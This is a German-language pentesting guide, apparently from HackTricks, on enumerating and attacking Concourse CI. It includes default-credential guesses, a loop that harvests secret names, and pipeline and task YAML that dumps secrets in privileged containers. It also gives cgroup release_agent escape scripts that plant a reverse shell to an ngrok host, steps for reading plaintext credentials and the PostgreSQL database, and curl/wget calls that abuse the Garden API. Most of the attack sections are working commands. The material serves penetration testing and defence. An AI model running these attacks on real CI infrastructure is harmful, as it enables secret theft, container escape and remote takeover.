# Concourse Enumeration & Attacks {{#include ../../banners/hacktricks-training.md}} ## Concourse Enumeration & Attacks ### Benutzerrollen & Berechtigungen Concourse kommt mit fünf Rollen: - _Concourse_ **Admin**: Diese Rolle wird nur den Eigentümern des **Hauptteams** (standardmäßiges anfängliches Concourse-Team) zugewiesen. Admins können **andere Teams konfigurieren** (z.B.: `fly set-team`, `fly destroy-team`...). Die Berechtigungen dieser Rolle können nicht durch RBAC beeinflusst werden. - **owner**: Team-Eigentümer können **alles innerhalb des Teams ändern**. - **member**: Team-Mitglieder können innerhalb der **Teamressourcen lesen und schreiben**, können jedoch die Teameinstellungen nicht ändern. - **pipeline-operator**: Pipeline-Betreiber können **Pipeline-Operationen** wie das Auslösen von Builds und das Festlegen von Ressourcen durchführen, können jedoch die Pipeline-Konfigurationen nicht aktualisieren. - **viewer**: Team-Viewer haben **"nur-Lese"-Zugriff auf ein Team** und dessen Pipelines. > [!NOTE] > Darüber hinaus können die **Berechtigungen der Rollen owner, member, pipeline-operator und viewer** durch die Konfiguration von RBAC (insbesondere durch die Konfiguration ihrer Aktionen) geändert werden. Lesen Sie mehr darüber in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) Beachten Sie, dass Concourse **Pipelines innerhalb von Teams gruppiert**. Daher können Benutzer, die zu einem Team gehören, diese Pipelines verwalten, und **mehrere Teams** können existieren. Ein Benutzer kann mehreren Teams angehören und unterschiedliche Berechtigungen in jedem von ihnen haben. ### Vars & Credential Manager In den YAML-Konfigurationen können Sie Werte mit der Syntax `((_source-name_:_secret-path_._secret-field_))` konfigurieren.\ [Aus den Dokumenten:](https://concourse-ci.org/vars.html#var-syntax) Der **source-name ist optional**, und wenn er weggelassen wird, wird der [clusterweite Credential Manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) verwendet, oder der Wert kann [statisch](https://concourse-ci.org/vars.html#static-vars) bereitgestellt werden.\ Das **optionale \_secret-field**\_ gibt ein Feld im abgerufenen Geheimnis an, das gelesen werden soll. Wenn es weggelassen wird, kann der Credential Manager wählen, ein 'Standardfeld' aus dem abgerufenen Credential zu lesen, wenn das Feld existiert.\ Darüber hinaus können der _**secret-path**_ und _**secret-field**_ von doppelten Anführungszeichen `"..."` umgeben sein, wenn sie **spezielle Zeichen** wie `.` und `:` enthalten. Zum Beispiel wird `((source:"my.secret"."field:1"))` den _secret-path_ auf `my.secret` und das _secret-field_ auf `field:1` setzen. #### Statische Vars Statische Vars können in **Aufgaben-Schritten** angegeben werden: ```yaml - task: unit-1.13 file: booklit/ci/unit.yml vars: { tag: 1.13 } ``` Or using the following `fly` **Argumente**: - `-v` oder `--var` `NAME=VALUE` setzt den String `VALUE` als Wert für die Variable `NAME`. - `-y` oder `--yaml-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Variable `NAME`. - `-i` oder `--instance-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Instanzvariable `NAME`. Siehe [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) um mehr über Instanzvariablen zu erfahren. - `-l` oder `--load-vars-from` `FILE` lädt `FILE`, ein YAML-Dokument, das Variablennamen mit Werten verknüpft, und setzt sie alle. #### Credential Management Es gibt verschiedene Möglichkeiten, wie ein **Credential Manager in einer Pipeline angegeben werden kann**, lesen Sie mehr in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ Darüber hinaus unterstützt Concourse verschiedene Credential Manager: - [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) - [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html) - [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html) - [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html) - [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html) - [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html) - [Caching credentials](https://concourse-ci.org/creds-caching.html) - [Redacting credentials](https://concourse-ci.org/creds-redacting.html) - [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] > Beachten Sie, dass wenn Sie eine Art von **Schreibzugriff auf Concourse** haben, Sie Jobs erstellen können, um **diese Geheimnisse zu exfiltrieren**, da Concourse in der Lage sein muss, auf sie zuzugreifen. ### Concourse Enumeration Um eine Concourse-Umgebung zu enumerieren, müssen Sie zuerst **gültige Anmeldeinformationen sammeln** oder ein **authentifiziertes Token** finden, wahrscheinlich in einer `.flyrc`-Konfigurationsdatei. #### Login und aktuelle Benutzer-Enumeration - Um sich anzumelden, müssen Sie den **Endpunkt**, den **Teamnamen** (Standard ist `main`) und ein **Team, dem der Benutzer angehört**, kennen: - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` - Konfigurierte **Ziele** abrufen: - `fly targets` - Überprüfen, ob die konfigurierte **Zielverbindung** noch **gültig** ist: - `fly -t status` - **Rolle** des Benutzers gegenüber dem angegebenen Ziel abrufen: - `fly -t userinfo` > [!NOTE] > Beachten Sie, dass das **API-Token** standardmäßig in `$HOME/.flyrc` **gespeichert** wird. Wenn Sie eine Maschine durchsuchen, könnten Sie dort die Anmeldeinformationen finden. #### Teams & Benutzer - Eine Liste der Teams abrufen: - `fly -t teams` - Rollen innerhalb des Teams abrufen: - `fly -t get-team -n ` - Eine Liste der Benutzer abrufen: - `fly -t active-users` #### Pipelines - **Liste** der Pipelines: - `fly -t pipelines -a` - **Pipeline** YAML abrufen (**sensible Informationen** könnten in der Definition gefunden werden): - `fly -t get-pipeline -p ` - Alle **konfigurierten Variablen** der Pipeline abrufen: - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` - Alle **geheimen Namen der Pipelines** abrufen (wenn Sie einen Job erstellen/modifizieren oder einen Container übernehmen können, könnten Sie sie exfiltrieren): ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; echo ""; done echo "" echo "ALL SECRETS" cat /tmp/secrets.txt | sort | uniq rm /tmp/secrets.txt ``` #### Container & Worker - Liste **Arbeiter**: - `fly -t workers` - Liste **Container**: - `fly -t containers` - Liste **Builds** (um zu sehen, was läuft): - `fly -t builds` ### Concourse Angriffe #### Brute-Force von Anmeldeinformationen - admin:admin - test:test #### Aufzählung von Geheimnissen und Parametern Im vorherigen Abschnitt haben wir gesehen, wie Sie **alle Geheimnisnamen und Variablen** abrufen können, die von der Pipeline verwendet werden. Die **Variablen können sensible Informationen enthalten** und der Name der **Geheimnisse wird später nützlich sein, um zu versuchen, sie zu stehlen**. #### Sitzung innerhalb eines laufenden oder kürzlich ausgeführten Containers Wenn Sie über ausreichende Berechtigungen (**Mitgliedsrolle oder mehr**) verfügen, können Sie **Pipelines und Rollen auflisten** und einfach eine **Sitzung innerhalb** des `/` **Containers** mit folgendem Befehl erhalten: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options ``` Mit diesen Berechtigungen könnten Sie in der Lage sein: - **Die Geheimnisse** im **Container** zu stehlen - Versuchen, zum Knoten zu **entkommen** - Den **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten, wenn möglich) #### Pipeline-Erstellung/-Änderung Wenn Sie genügend Berechtigungen (**Mitgliedsrolle oder mehr**) haben, können Sie **neue Pipelines erstellen/ändern.** Überprüfen Sie dieses Beispiel: ```yaml jobs: - name: simple plan: - task: simple-task privileged: true config: # Tells Concourse which type of worker this task should run on platform: linux image_resource: type: registry-image source: repository: busybox # images are pulled from docker hub by default run: path: sh args: - -cx - | echo "$SUPER_SECRET" sleep 1000 params: SUPER_SECRET: ((super.secret)) ``` Mit der **Änderung/Erstellung** einer neuen Pipeline können Sie: - **Geheimnisse** **stehlen** (indem Sie sie ausgeben oder in den Container gelangen und `env` ausführen) - Zu dem **Knoten** **entkommen** (indem Sie Ihnen genügend Berechtigungen geben - `privileged: true`) - **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten) - Erstellte Pipeline **löschen** #### Benutzerdefinierte Aufgabe ausführen Dies ist ähnlich wie die vorherige Methode, aber anstatt eine ganze neue Pipeline zu ändern/zu erstellen, können Sie **einfach eine benutzerdefinierte Aufgabe ausführen** (die wahrscheinlich viel **heimlicher** sein wird): ```yaml # For more task_config options check https://concourse-ci.org/tasks.html platform: linux image_resource: type: registry-image source: repository: ubuntu run: path: sh args: - -cx - | env sleep 1000 params: SUPER_SECRET: ((super.secret)) ``` ```bash fly -t tutorial execute --privileged --config task_config.yml ``` #### Escaping to the node from privileged task In den vorherigen Abschnitten haben wir gesehen, wie man **eine privilegierte Aufgabe mit concourse ausführt**. Dies gibt dem Container nicht genau den gleichen Zugriff wie das privilegierte Flag in einem Docker-Container. Zum Beispiel werden Sie das Node-Dateisystemgerät in /dev nicht sehen, sodass die Flucht "komplexer" sein könnte. In dem folgenden PoC werden wir den release_agent verwenden, um mit einigen kleinen Modifikationen zu entkommen: ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" # It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x # Enables cgroup notifications on release of the "x" cgroup echo 1 > /tmp/cgrp/x/notify_on_release # CHANGE ME # The host path will look like the following, but you need to change it: host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs" ## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command: #/dev/vda1 on /scratch type ext4 (rw,relatime) #/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime) #/dev/vda1 on /etc/hosts type ext4 (rw,relatime) #/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime) ## Then next part I think is constant "hostpath-provisioner/default/" ## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed # "concourse-work-dir" is constant # "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API) # "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number) ## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant # running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like: # workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028 # the UID is the part we are looking for # Then the host_path is: #host_path="/mnt//hostpath-provisioner/default/concourse-work-dir--worker-/overlays//rootfs" # Sets release_agent to /path/payload echo "$host_path/cmd" > /tmp/cgrp/release_agent #==================================== #Reverse shell echo '#!/bin/bash' > /cmd echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd chmod a+x /cmd #==================================== # Get output echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd #==================================== # Executes the attack by spawning a process that immediately ends inside the "x" child cgroup sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` > [!WARNING] > Wie Sie vielleicht bemerkt haben, handelt es sich hierbei nur um eine [**reguläre release_agent-Escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md), bei der der Pfad des Befehls im Knoten geändert wird. #### Escaping zum Knoten von einem Worker-Container Eine reguläre release_agent-Escape mit einer kleinen Modifikation reicht dafür aus: ```bash mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x # Enables cgroup notifications on release of the "x" cgroup echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1` echo "$host_path/cmd" > /tmp/cgrp/release_agent #==================================== #Reverse shell echo '#!/bin/bash' > /cmd echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd chmod a+x /cmd #==================================== # Get output echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd #==================================== # Executes the attack by spawning a process that immediately ends inside the "x" child cgroup sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` #### Escaping to the node from the Web container Selbst wenn der Web-Container einige Verteidigungen deaktiviert hat, läuft er **nicht als ein gewöhnlicher privilegierter Container** (zum Beispiel **kannst du** **nicht** **mounten** und die **Fähigkeiten** sind sehr **begrenzt**, sodass alle einfachen Möglichkeiten, aus dem Container zu entkommen, nutzlos sind). Allerdings speichert er **lokale Anmeldeinformationen im Klartext**: ```bash cat /concourse-auth/local-users test:test env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` Sie können diese Anmeldeinformationen verwenden, um **sich am Webserver anzumelden** und **einen privilegierten Container zu erstellen und zum Knoten zu entkommen**. In der Umgebung finden Sie auch Informationen, um auf die **PostgreSQL**-Instanz zuzugreifen, die Concourse verwendet (Adresse, **Benutzername**, **Passwort** und Datenbank unter anderem Informationen): ```bash env | grep -i postg CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238 CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432 CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432 CONCOURSE_POSTGRES_USER=concourse CONCOURSE_POSTGRES_DATABASE=concourse CONCOURSE_POSTGRES_PASSWORD=concourse [...] # Access the postgresql db psql -h 10.107.191.238 -U concourse -d concourse select * from password; #Find hashed passwords select * from access_tokens; select * from auth_code; select * from client; select * from refresh_token; select * from teams; #Change the permissions of the users in the teams select * from users; ``` #### Missbrauch des Garden-Dienstes - Kein echter Angriff > [!WARNING] > Dies sind nur einige interessante Hinweise zum Dienst, aber da er nur auf localhost hört, werden diese Hinweise keinen Einfluss haben, den wir nicht bereits zuvor ausgenutzt haben. Standardmäßig wird jeder Concourse-Worker einen [**Garden**](https://github.com/cloudfoundry/garden) Dienst auf Port 7777 ausführen. Dieser Dienst wird vom Webmaster verwendet, um dem Worker **anzuzeigen, was er ausführen muss** (das Bild herunterzuladen und jede Aufgabe auszuführen). Das klingt ziemlich gut für einen Angreifer, aber es gibt einige gute Schutzmaßnahmen: - Er ist nur **lokal exponiert** (127..0.0.1) und ich denke, wenn der Worker sich mit dem Web über den speziellen SSH-Dienst authentifiziert, wird ein Tunnel erstellt, damit der Webserver **mit jedem Garden-Dienst** innerhalb jedes Workers **kommunizieren kann**. - Der Webserver **überwacht die laufenden Container alle paar Sekunden**, und **unerwartete** Container werden **gelöscht**. Wenn Sie also einen **benutzerdefinierten Container ausführen** möchten, müssen Sie mit der **Kommunikation** zwischen dem Webserver und dem Garden-Dienst **manipulieren**. Concourse-Worker laufen mit hohen Containerprivilegien: ``` Container Runtime: docker Has Namespaces: pid: true user: false AppArmor Profile: kernel Capabilities: BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` Allerdings funktionieren Techniken wie das **Mounten** des /dev-Geräts des Knotens oder des release_agent **nicht** (da das echte Gerät mit dem Dateisystem des Knotens nicht zugänglich ist, nur ein virtuelles). Wir können nicht auf Prozesse des Knotens zugreifen, daher wird das Entkommen aus dem Knoten ohne Kernel-Exploits kompliziert. > [!NOTE] > Im vorherigen Abschnitt haben wir gesehen, wie man aus einem privilegierten Container entkommt. Wenn wir also **Befehle** in einem **privilegierten Container** ausführen können, der vom **aktuellen** **Worker** erstellt wurde, könnten wir **zum Knoten entkommen**. Beachten Sie, dass ich beim Spielen mit Concourse festgestellt habe, dass die Prozesse des Containers, wenn ein neuer Container zum Ausführen von etwas erstellt wird, vom Worker-Container aus zugänglich sind. Es ist also wie ein Container, der einen neuen Container in sich erstellt. **In einen laufenden privilegierten Container gelangen** ```bash # Get current container curl 127.0.0.1:7777/containers {"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]} # Get container info curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties # Execute a new process inside a container ## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53 wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ --header='Content-Type:application/json' \ 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' # OR instead of doing all of that, you could just get into the ns of the process of the privileged container nsenter --target 76011 --mount --uts --ipc --net --pid -- sh ``` **Erstellen eines neuen privilegierten Containers** Sie können sehr einfach einen neuen Container erstellen (führen Sie einfach eine zufällige UID aus) und etwas darauf ausführen: ```bash curl -X POST http://127.0.0.1:7777/containers \ -H 'Content-Type: application/json' \ -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' # Wget will be stucked there as long as the process is being executed wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ --header='Content-Type:application/json' \ 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` Der Webserver überprüft jedoch alle paar Sekunden die laufenden Container, und wenn ein unerwarteter entdeckt wird, wird er gelöscht. Da die Kommunikation über HTTP erfolgt, könnten Sie die Kommunikation manipulieren, um die Löschung unerwarteter Container zu vermeiden: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. User-Agent: Go-http-client/1.1. Accept-Encoding: gzip. . T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157 HTTP/1.1 200 OK. Content-Type: application/json. Date: Thu, 17 Mar 2022 22:42:55 GMT. Content-Length: 131. . {"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]} T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159 DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1. Host: 127.0.0.1:7777. User-Agent: Go-http-client/1.1. Accept-Encoding: gzip. ``` ## Referenzen - [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html) {{#include ../../banners/hacktricks-training.md}}